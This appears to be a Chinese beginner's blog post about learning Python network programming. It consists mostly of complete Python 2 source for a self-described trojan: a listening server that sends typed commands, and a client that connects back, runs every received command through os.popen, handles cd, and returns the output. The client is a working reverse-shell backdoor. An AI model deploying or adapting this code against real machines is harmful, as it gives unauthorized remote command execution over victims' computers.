标签:... chdir 执行命令 开始 input 命令 特殊 logs accept
十一的晚上,平时都在写工作的代码,好久没有专门看一些知识了,感觉想刚开始学c一样,搞到半夜
还是《python网络编程基础》,写了小脚本,没有任何结构,一句一句的往下写的,反正是可以实现想法了
运行环境:python2
服务端
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 """ 4 木马程序服务端 5 """ 6 7 from socket import * 8 9 host = ‘‘ 10 port = 34567 11 12 # 创建socket 13 sock = socket(AF_INET,SOCK_STREAM) 14 # 设置端口回收 15 sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 16 # 绑定ip和端口 17 sock.bind((host,port)) 18 19 # 设置连接数量 20 sock.listen(1) 21 22 print u"服务器已经开启\n\r端口号:%s" %port 23 24 while 1: 25 # 等待连接 26 clientsock,clientaddr = sock.accept() 27 print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1]) 28 # 发送数据 29 clientsock.send("hello...") 30 31 while 1: 32 # 接收客户端返回 33 buf = clientsock.recv(2048 * 4) 34 if not len(buf): 35 break 36 else : 37 print buf 38 while 1: 39 # 输入命令 40 cmd = raw_input(">") 41 if not len(cmd): 42 continue 43 44 try: 45 # 发送命令 46 clientsock.send(cmd.encode()) 47 except Exception as e: 48 continue 49 50 break 51
客户端
1 #!/usr/bin/env python 2 # coding:utf-8 3 4 """ 5 木马客户端 6 """ 7 8 from socket import * 9 import os 10 11 host = "127.0.0.1" 12 port = 34567 13 14 # 创建socket 15 sock = socket(AF_INET,SOCK_STREAM) 16 17 try: 18 # 连接服务器 19 sock.connect((host,port)) 20 except Exception as e: 21 print u"连接失败:%s" %e 22 exit() 23 24 while 1: 25 # 接收命令 26 buf = sock.recv(1024) 27 filename = ‘‘ 28 # 对切换目录命令特殊处理 29 if buf[0:2] == ‘cd‘: 30 buf = buf[3:] 31 os.chdir(buf) 32 cmd = os.popen(‘dir‘) 33 for str in cmd.readlines(): 34 filename += str 35 else: 36 # 执行命令 37 cmd = os.popen(buf) 38 for str in cmd.readlines(): 39 filename += str 40 if not filename: 41 filename = ‘NO...‘ 42 43 try: 44 # 将命令执行内容返回给服务器 45 sock.sendall(filename + "\r\n") 46 except Exception as e: 47 exit() 48
效果图
菜鸟献丑,大神指点
标签:... chdir 执行命令 开始 input 命令 特殊 logs accept
原文地址:http://www.cnblogs.com/hl540/p/7618404.html